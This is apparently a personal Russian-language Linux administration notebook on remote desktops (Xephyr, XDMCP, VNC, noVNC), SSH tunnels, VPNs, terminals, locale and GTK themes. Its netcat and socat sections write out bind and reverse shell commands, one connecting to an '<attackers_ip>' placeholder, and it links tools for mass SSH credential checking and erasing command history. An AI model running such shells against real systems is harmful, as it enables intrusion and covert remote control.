$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost –screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2

XDMCP
Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
Настройка XDMCP, удаленного подключения к рабочему столу Linux

nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true

service lightdm restart
netstat –na | more

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP

Xpra
https://xpra.org/index.html
https://github.com/Xpra-org/xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений
https://winswitch.org/downloads/
Учимся переносить запущенные программы с одного компьютера на другой

VNC
TigerVNC
https://docs.slackware.com/howtos:window_managers:vnc
Как настроить и использовать сервер TigerVNC в Linux
sudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup



vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd

vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей

x11vns
рецепт 1
Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM)

установим x11vnc:
sudo apt-get install x11vnc

Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass

vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900

Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log

проверим:
vncviewer localhost

service x11vnc start

Быстрая настройка x11vnc
Устанавливаем x11vnc
sudo apt-get install x11vnc

Генерируем пароль для доступа:
x11vnc -storepasswd

При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:



если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen

работающие скрипты:
скрипт гасится сам



нужно гасить pkill x11vnc



запускать как службу
mcedit /lib/systemd/system/x11vnc.service


systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable

рецепт 2 попроще, для ubuntu
https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing

sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc

vi /lib/systemd/system/x11vnc.service



systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service


рецепт 3, без systemd
x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess


Как настроить VNC сервер x11vnc

в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0

ошибки
когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171
https://www.linux.org.ru/forum/admin/12755272
https://www.linux.org.ru/forum/general/13664036/page1#comments
https://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper

вместо light-locker установить xscreensaver


VNC в веб-браузере
Как получить доступ к удаленному рабочему столу VNC в веб-браузере
качается https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz
в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080
нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера


VPN
ssh VPN
VPN через SSH
https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker

OpenVPN
Бесплатный VPN сервер, клиент, и тд
vpn pptp openvpn centos7
настройка клиента openvpn
Генерация ключей OpenVPN

sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn

https://www.oracle.com/cloud/free/

proxy
Практические советы, примеры и туннели SSH
https://archive.is/tfGcr
SSH-туннели: практические примеры использования и важные функции
Простой браузерный VPN через SSH

ssh -D localhost:2080 -q -C -N root@IP_СЕРВЕРА -p НЕСТАНДАРТНЫЙ_ПОРТ_SSH
-D localhost:2080: устанавливаем локальный прокси-сервер SOCKS5 на вашем компьютере.

опции
-q: тихий режим (quiet mode).
-C: сжатие данных (compression).
-N: указываем SSH не выполнять удалённые команды.
-f — запускает SSH в фоне (после аутентификации возвращает управление терминалу)
-p ПОРТ: указываем нестандартный порт для подключения к удалённому серверу.

проверка
localhost:~$ netstat -pan | grep 2080

чтобы позволить другим программам в нашей сети подключаться к прокси-сервису через ssh socks-прокси, включая ethernet или wifi
ssh -D 0.0.0.0:8888 user@remoteserver

пример
ssh -fND 7001 пользователь@ip_адрес_сервера
chromium --proxy-server=socks5://localhost:7001
-D 7001 — создаёт динамический (SOCKS) прокси на локальном порту 7001

Ограничения
Трафик через туннель проходит только у тех приложений, которые явно настроены на использование прокси. SOCKS5 работает только с TCP-соединениями, UDP не поддерживается

Чтобы предотвратить утечку через WebRTC в Chromium, добавьте флаг:
chromium --proxy-server=socks5://localhost:7001 --disable-webrtc

ssh -fND 7001 пользователь@ip_адрес_сервера
Затем выполните любую команду через proxychains:
proxychains curl ifconfig.me
Предварительно убедитесь, что в файле /etc/proxychains.conf или ~/.proxychains/proxychains.conf указано:
socks5 127.0.0.1 7001

Работа с сетевыми дисками
Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server

Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

netcat передача данных, тестирование соединений
Как использовать Netcat для тестирования соединений TCP и UDP
Как пользоваться netcat (nc), ncat
Обратная инженерия сетевого трафика
Полезные трюки при работе с netcat

Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000

Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444

веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done


UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ

TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename

копирование зашифрованного диска
https://habr.com/ru/articles/800455/
# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444

Как сделать прокси на виртуальном хостинге
локальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 'https://hackware.ru'


Socat
Сетевой pivoting: понятие, примеры, техники, инструменты

Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211

ссылки
разница между DE и WM, а также работа в голых иксах
скриншоты в иксах и консоли, разрешение экрана в tty
Установка xrdp на CentOS 7

https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.html
Настройка сервера VNC и RDP совместно с LightDM
VNC в Linux: настройка сервера и клиента
Всё о RDP: от настройки до взлома
sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
https://wiki.x2go.org/doku.php
Организуем себе безопасное рабочее место на удаленной виртуалке при помощи x2go
Настройка Ubuntu Linux в качестве терминального сервера x2go
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
делаем vim удобным
рабочий стол в консоли
изменение времени файлов, удаление истории посещения и команд в linux


http://cdimage.ubuntu.com/releases/
Вышла ubuntu 16.04 и я решил обновить систему, по привычке поставил с нуля ubuntu-server.
DE я не признаю, предпочитаю минимум необходимых и знакомых пакетов, поэтому выбор такой, в целом система сделана довольно прилично, даже кракозябр в консоли не было ;)
после установки однако пришлось немножко поработать напильником: установил иксы, нужные пакеты и свой привычный WM:
Read more... )


Настраиваем sudo.
Для этого его сначала надо поставить:

su -c aptitude install sudo
Read more... )




заглянуть

для понимания этой разницы нужно сделать следующие действия:
1) Переключись в консоль:
chvt 2
или нажав ctrl+alt+f2
2) Залогинься root (для простоты - можно и обычным пользователем)
3) Запусти X-сервер:
X :9 &
4) Вернись обратно в консоль:
нажав ctrl+alt+f2
5) Выполни
export DISPLAY=:9
и какою-нить графическую утилиту, например
xclock &
export DISPLAY=:9 && xclock &
6) Переключись обратно в X(:9)
нажав alt+f8 - это подойдет для многих дистрибутивов.
Точнее можно глянуть:
ps -fC X | grep ":9"
и нажать
Переключившись увидишь работу графической утилиты без всяких WM и DE.
7) Запусти WM:
перейдя в консоль alt+f2
kwin или metacity или twm или mwm или ... и тд
вернись в X (:9) - как в пункте 6 - и пойми что изменилось с появлением WM
8) Запусти DE:
перейдя в консоль alt+f2
startkde или gnome-session или ... и тд
вернись в X (:9) - как в пункте 6 - и пойми что изменилось с появлением DE

Красоту можно навести командами:
xsetbg /путь/к/красивой/картинке
Консоль запустить:
xterm -g -0-0
часики:
xclock -update 1 200x200-0+0
Приложения закрывать:
xkill

Запуск игр и программ в отдельных иксах:
startx xterm -- :1

запуск сессии
xinit -- :1
startx -- :1
xinit `which xterm` -- :1

сообщение в соседнюю консоль
echo "Привет" > /dev/tty2

usermod -aG audio,video,tty,input пользователь

https://wiki.archlinux.org/title/Xorg_(Русский)
чтобы запустить X через xinit
vi /etc/X11/Xwrapper.config
allowed_users=anybody
needs_root_rights=yes

Отдельная X-сессия на ubuntu 18.04
разрешить пользователю запускать иксы
sudo apt install xserver-xorg-legacy
sudo dpkg-reconfigure xserver-xorg-legacy (выбираем “кто угодно”)
echo "needs_root_rights = yes" | sudo tee --append /etc/X11/Xwrapper.config
sudo gpasswd -a $USER video (добавляем пользователя в группу Video)
sudo gpasswd -a $USER audio (добавляем пользователя в группу Audio)
sudo reboot (компьютер будет перезагружен)
startx "ваша_программа_или_игра" -- :1
https://portwine-linux.ru/category/portwine-linux/

chvt переход в tty без ctrl+alt+F.. блокировка tty
How to change between TTY (virtual terminal) on Linux guest VMs when using a console launched from Prism Element
В Linux соединения с операционной системой могут быть выполнены:
сеанс физического терминала / сеанс консоли
сеанс псевдо-терминала, такой как SSH, xterm (для X-Windows)
сеанс виртуального аппаратного терминала

Чтобы показать идентификацию этих разных соединений, используйте команду «w»:
Обратитесь к столбцу TTY:
tty2 и tty3 относятся к сеансам виртуального терминала
:0 относится к физическому терминалу, или в этом случае консоль, запущенная из Prism Element
pts/0 и pts/2 относятся к сеансам псевдотерминала, который является видимым сеансом терминала (см. столбец FROM: 0), и к удаленному сеансу SSH

выполните в эмуляторе терминала (напр. xterm) sudo chvt 2 чтобы перейти к TTY2, это аналог ctrl+alt+F2 для перехода в /dev/tty2
затем в TTY2 ввести chvt 7 для перехода обратно в графическую консоль

Завершить процесс (kill) tty в Unix/Linux
w
who -la
skill -KILL -v pts/4
pkill -9 -t pts/0
ps -ft pts/0
kill -9 9721
killall -u username
pkill -U username
loginctl kill-user username

https://wiki.archlinux.org/index.php/Xorg#Block_TTY_access
Чтобы заблокировать доступ tty в X, добавьте следующее в xorg.conf
Section "ServerFlags"
    Option "DontVTSwitch" "True"
EndSection

Запретить пользователю убивать X
добавьте в xorg.conf следующее:
Section "ServerFlags"
    Option "DontZap"      "True"
EndSection


Как заблокировать сеансы виртуальной консоли в Linux
sudo apt-get install vlock
a — Блокировать все сеансы виртуальной консоли,
c — заблокировать текущий сеанс виртуальной консоли,
n — Переключиться на новую пустую консоль, прежде чем блокировать все сеансы,
s — Отключить механизм ключа SysRq,
t — указать тайм-аут для плагинов заставки,
h — Показать раздел справки,
v — Показать версию.


для подключения к pty следует использовать клиент ttysnoop
ttysnoop /dev/pts/0
tty -s && echo "Внутри tty"

openvt — запустить программу на новом виртуальном терминале
openvt [-c номер_vt] [-s] [-u] [-l] [-v] [--] команда параметры_команды
openvt -f -c 9 -- eсho "12345"

https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
Как повторно подключиться к отключенному сеансу SSH
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447
_______________________________________________________________________

1) X-ов можно хоть сотню запустить - главное что у них разный ":цифра" - номер дисплея.
9) Для kwin, metacity и тд - тоже нужно чтобы задана была переменная DISPLAY - раз уж пошел в другую консоль, задай там эту переменную тоже.

_________________________________________________________________________

клиент-серверная архитектура X11 позволяет сделать это
ssh -X remotehost xterm

https://wiki.archlinux.org/index.php/Xorg
https://xneur.ru/settings
Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2
DISPLAY=:2 fvwm1 &

узнать № дисплея сеанса:
echo $DISPLAY
cat /proc/$$/environ | tr '\0' '\n' | grep '^DISPLAY='

запуск хрома из snap (сходный механизм и у других приложений)
xhost +si:localuser:root
xhost +si:localuser:пользователь

export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &

nano $HOME/bin/chromium.sh



chmod +x $HOME/bin/chromium.sh

https://linux-notes.org/utilita-xhost-v-unix-linux/
vi ~/.xinitrc
#!/bin/bash
xhost +si:localuser:root &
xhost +si:localuser:пользователь &

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
export XAUTHORITY=$HOME/.Xauthority
sudo программа

раскладка
setxkbmap -layout "us,ru" -option "alt_shift_toggle,grp_led:scroll"

setxkbmap -model pc105 -layout "us,ru" -variant ",winkeys" -option "grp:alt_shift_toggle"

Параметры "XkbOptions"
Параметры "XkbOptions"
Варианты переключателей между языками в файле /etc/X11/xorg.conf
grp:toggle - переключение правым Alt;
grp:shift_toggle - двумя клавишами shift;
grp:ctrl_shift_toggle - ctrl+shift;
grp:alt_shift_toggle - alt+shift;
grp:ctrl_alt_toggle - ctrl+alt;
grp:caps_toggle - переключение по CapsLock;
grp:lwin_toggle - переключение по левой "Win" клавише на Windows клавиатуре (для X Window старше 4.2);
grp:rwin_toggle - переключение по правой "Win" клавише на Windows клавиатуре (для X Window старше 4.2);
grp:menu_toggle - переключение по клавише "Контекстное меню" на Windows клавиатуре (для X Window старше 4.2);
grp:lctrl_toggle переключение по левой клавише Control
grp:rctrl_toggle переключение по правой клавише Control
grp:switch - переключение по правому Alt только на момент нажатия
grp:lwin_switch - переключение по левой клавише Windows только на момент нажатия
grp:rwin_switch - переключение по правой клавише Windows только на момент нажатия
grp:win_switch - переключение по любой клавише Windows только на момент нажатия
Возможные значения grp_led:
grp_led - использовать индикаторы на клавиатуре для показания изменения группы
grp_led:num - индикатор Num_Lock показывает изменения группы
grp_led:caps - индикатор Caps_Lock показывает изменение группы
grp_led:scroll - индикатор Scroll_Lock показывает изменение группы


:: /etc/X11/xorg.conf ::
...
Section "InputDevice"
...
Option "XkbOptions" "grp:switch,grp:caps_toggle,grp_led:scroll"
...
EndSection
...



локаль

echo 'export LANG=en_US.utf8' >> ~/.profile
source ~/.profile

Локаль Системы По Умолчанию
https://www.shellhacks.com/ru/linux-define-locale-language-settings/
Ubuntu-18.04 и CentOS-7
localectl set-locale LANG=en_US.utf8

Ubuntu-14.04
/etc/default/locale
LANG="en_US.utf8"

CentOS-6
/etc/sysconfig/i18n
LANG="en_US.utf8"


export LANG = "ru_RU.UTF-8"
export LC_ALL = "ru_RU.UTF-8"
export LC_COLLATE = "ru_RU.UTF-8 "


разрешение экрана в tty

grep vga /proc/cmdline
grep -ir vga /etc/modprobe.d/
Вывод обеих команд должен быть пустым
sudo apt-get install v86d

hwinfo --framebuffer

nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vga=795"
GRUB_GFXMODE=1280x1024x32
GRUB_GFXPAYLOAD_LINUX=keep

sudo update-grub

lsmod | grep drm

sudo apt install fbset
vi /etc/fb.modes
fbset --test
fbset --help
fbset -xres 1280 -yres 1024 -depth 32
mplayer video.avi -vo fbdev2 -bpp 32


xrandr
Настройка основного монитора в Ubuntu без xrandr
xrandr --query # Возвращает список моих мониторов
xrandr --output <monitor identifier> --primary # установить основной

пример команды, для hdmi
xrandr --output eDP-1 --auto --output HDMI-1 --auto --same-as eDP-1


ssh
установка XRDP, VNC и SSH на Ubuntu и Debian
$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

Запуск графических приложений через SSH (X11Forwarding)
Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
nano /etc/lightdm/lightdm.conf 
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию 
[XDMCPServer]
enabled=true

service lightdm restart 

netstat –na | more 

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP



Как "освободить" клавиши Ctrl+C, Ctrl+V, Ctrl+X в терминале
Вот какие действия обычно поддерживает любой Linux-терминал:

  • intr - Послать сигнал прерывания текущего процесса

  • quit - Послать сигнал выхода

  • erase - Удалить последний введенный символ

  • kill - Удалить текущую строку

  • eof - Послать конец файла (завершить ввод)

  • eol - Конец строки

  • eol2 - Альтернативный символ конца строки (Не-POSIX)

  • swtch - Переключиться на другой уровень оболочки (Не-POSIX)

  • start - Запустить вывод далее, если он был приостановлен

  • stop - Приостановить вывод

  • susp - Послать сигнал остановки терминала

  • dsusp - Послать сигнал остановки терминала после сброса ввода (Не-POSIX)

  • rprnt - Перерисовать текущую строку (Не-POSIX)

  • werase - Удалить последнее введенное слово (Не-POSIX)

  • lnext - Протолкнуть в ввод следующий символ, даже если это специальный символ


Чтобы узнать, к каким комбинациям клавиш привязаны действия, можно дать команду:
# stty -a
Сия команда выведет на консоль примерно такой текст:
speed 38400 baud; rows 35; columns 110; line = 0;
intr = ^C; quit = ^; erase = ^?; kill = ^U; ....

из него видно, что заняты комбинации клавиш Ctrl+C (^C) и Ctrl+V (^V) (а Ctrl+X, кстати, свободна).

Если писать точнее, то мы видим, что:
При нажатии комбинации Ctrl+C происходит действие intr. Действие intr означает отправку сигнала SIGINT, который сигнализирует консольной программе что нужно завершить работу.
При нажатии комбинации Ctrl+V происходит действие lnext. Это действие означает, что следующий вводимый символ надо воспринимать как символ, а не как команду (Последовательное нажатие Ctrl+V и Ctrl+A протолкнет в терминал символ ^A, имеющий код 01h).
Что мы должны сделать в такой ситуации, чтобы освободить Ctrl+C и Ctrl+V? Вначале подумать, а нужны ли нам действия intr и lnext. Действие intr вроде как нужно. А возникала ли у вас хоть раз необходимость в действии lnext? Нет? Значит, ненужно.
Почитав невнятную документацию по программе stty, кое-как можно понять, что для освобождения комбинации Ctrl+V нужно просто удалить привязанное к комбинации действие lnext. Для этого нужно воспользоваться командой:
# stty lnext undef

stty может перенастраиваться только на 26 букв латинского алфавита (и, возможно на некоторые знаки препинания), которые можно задавать десятичными кодами 1-26. Например, команда "stty intr 10" задаст для действия intr комбинацию Ctrl+J, т.к. буква J - десятая буква в латинском алфавите.
настроим действие intr на комбинацию Ctrl+Q (ибо Q - это "quit", "выход").
Обратите внимание, что команда "stty -a" показывает, что Ctrl+Q сопоставлено с действием start. Это действие вызывает команду "продолжать вывод на теринал после приостановки вывода" (приостановка вывода делается с помощью действия stop клавишами Ctrl+S).

Сначала нужно освободить комбинацию клавиш Ctrl+Q от действия start
# stty start undef

Затем выполняем команду:
# stty intr ^Q

и после нее, сразу, прерывание программы будет работать по Ctrl+Q (вместо традиционного для консоли Ctrl+C). Работу комбинации Ctrl+Q можно проверить на любой подходящей программе cat, top, и т.д.
Теперь вышеуказанные команды мы можем поместить в файл .bashrc в домашней директории, и терминал с этого момента будет запускаться со свободными комбинациями Ctrl+C и Ctrl+V.

https://gitlab.freedesktop.org/xorg/xserver
http://ftp.xfree86.org/pub/XFree86/
https://gitlab.freedesktop.org/wayland/wayland
https://github.com/canonical/mir
https://github.com/ghaerr/microwindows/
https://github.com/sidorares/node-x11

The Linux Graphics Stack
Графический стек Linux
Что придет на замену X Window System?
Wayland на замену X Window System
Вперед в будущее: Wayland против X11

Виртуальные твари и места их обитания: прошлое и настоящее TTY в Linux
Оболочка и терминал Unix — это одно и то же?
Hello, World! Глубокое погружение в Терминалы
Linux: Difference between /dev/console , /dev/tty and /dev/tty0
Глава 18, TTY драйверы
Команды управления терминалом
Text-Terminal-HOWTO
Хрестоматия по программированию на Си в Unix 6.4. Сигналы.
Сетевые соединения X11

установка XRDP, VNC и SSH на Ubuntu и Debian.
скриншоты в иксах и консоли, разрешение экрана в tty
рабочий стол в консоли





среда рабочего стола часть 2

Linux

рабочий стол в консоли


themes
site themes
Freedesktop
http://debian-art.org/
https://debianforum.ru/index.php?board=45.0

https://www.reddit.com/r/unixporn/
https://www.linux.org.ru/gallery/
https://github.com/sleekmason/extra-themes

ЛЕГКО СОЗДАВАЙТЕ СВОИ СОБСТВЕННЫЕ ТЕМЫ GTK НА ОСНОВЕ NUMIX С OOMOX
Графическое приложение для создания различных цветовых вариаций тем Oomox (на основе Numix), Materia (ex-Flat-Plat) и Arc (GTK2, GTK3, Cinnamon, GNOME, Openbox, Xfwm), Archdroid, Gnome-Color, Numix, Papirus и Suru ++ иконки темы.
https://github.com/themix-project/oomox

годные тёмные темы
https://github.com/B00merang-Project/B00merang-Themes
https://github.com/Ferdi265/numix-solarized-gtk-theme +++
Solarized-Dark-COLORPACK ++
https://github.com/rtlewis88/rtl88-Themes/tree/Solarized-Dark-gtk-theme-colorpack
Material-Solarized Complete-Desktop
https://github.com/rtlewis88/rtl88-Themes/tree/Material-Solarized
Solarized-BLACK
https://github.com/rtlewis88/rtl88-Themes/tree/Solarized-BLACK
https://github.com/schemar/solarc-theme
material-black-MAGIC - Semi-Transparent Variety Pack
https://github.com/rtlewis88/rtl88-Themes/tree/material-black-MAGIC
Breeze-Noir-Dark-GTK ++
https://github.com/L4ki/Breeze-Noir-Dark-GTK
Harmony-Dark ++
https://github.com/L4ki/Harmony-Dark
Back To Black +++
https://github.com/L4ki/Back-To-Black-GTK-3-Theme
Dark-Side +++
https://github.com/paullinuxthemer/Dark-Side
Dark-openSUSE
https://github.com/L4ki/Dark-openSUSE-GTK-2-3-Theme
Breeze-Blue-Dark +
https://github.com/L4ki/Breeze-Blue-Dark-GTK-3-Theme
Gently +
https://github.com/L4ki/Gently-GTK-3-Theme
Cyanogen ++
https://gitlab.gnome.org/cbowman57/cyanogen-theme
XFCE Dark Themes - Box Set ++
https://github.com/solsticeman/XFCE-Themes
Kogir-dark ++
https://github.com/freefreeno/Kogir
Baebae-gtk ++
https://github.com/freefreeno/Baebae-KDE
Karitim-Dark-GTK ++
https://github.com/freefreeno/Karitim-dark-gtk
Steel-Teal Theme
https://github.com/solsticeman/Steal-Teal-GTK3.20-Theme
NiteFlite Темы +
Hacking_Parrot_OS +
Arc Night
https://github.com/malvery/gtk-theme-arc-night
Ambiance DS BlueSB12
Trinity +
https://github.com/Elbullazul/Trinity
E5150
https://github.com/ju1464/E5150_Themes
ChromeOs-Dark
https://github.com/rtlewis88/rtl88-Themes/tree/ChromeOS-Dark
https://github.com/catppuccin/catppuccin
https://github.com/catppuccin/gtk
Hacking_Parrot

(эта только под gtk2)
https://www.opendesktop.org/p/1015989/
https://www.opendesktop.org/content/show.php/Emerge?content=157362
Dark-Olympic

Tk
https://github.com/Geballin/TTK-Theme-chooser
https://github.com/rdbende/gtkTtk
https://github.com/rdbende/Azure-ttk-theme
https://github.com/rdbende/Sun-Valley-ttk-theme

закосы под CDE
Common Desktop
https://github.com/B00merang-Project/Solaris-9
CDE-Solaris gtk2
CDE / Motif theme GTK3/4
Breeze CDE
CDE for KDE
cdepanel

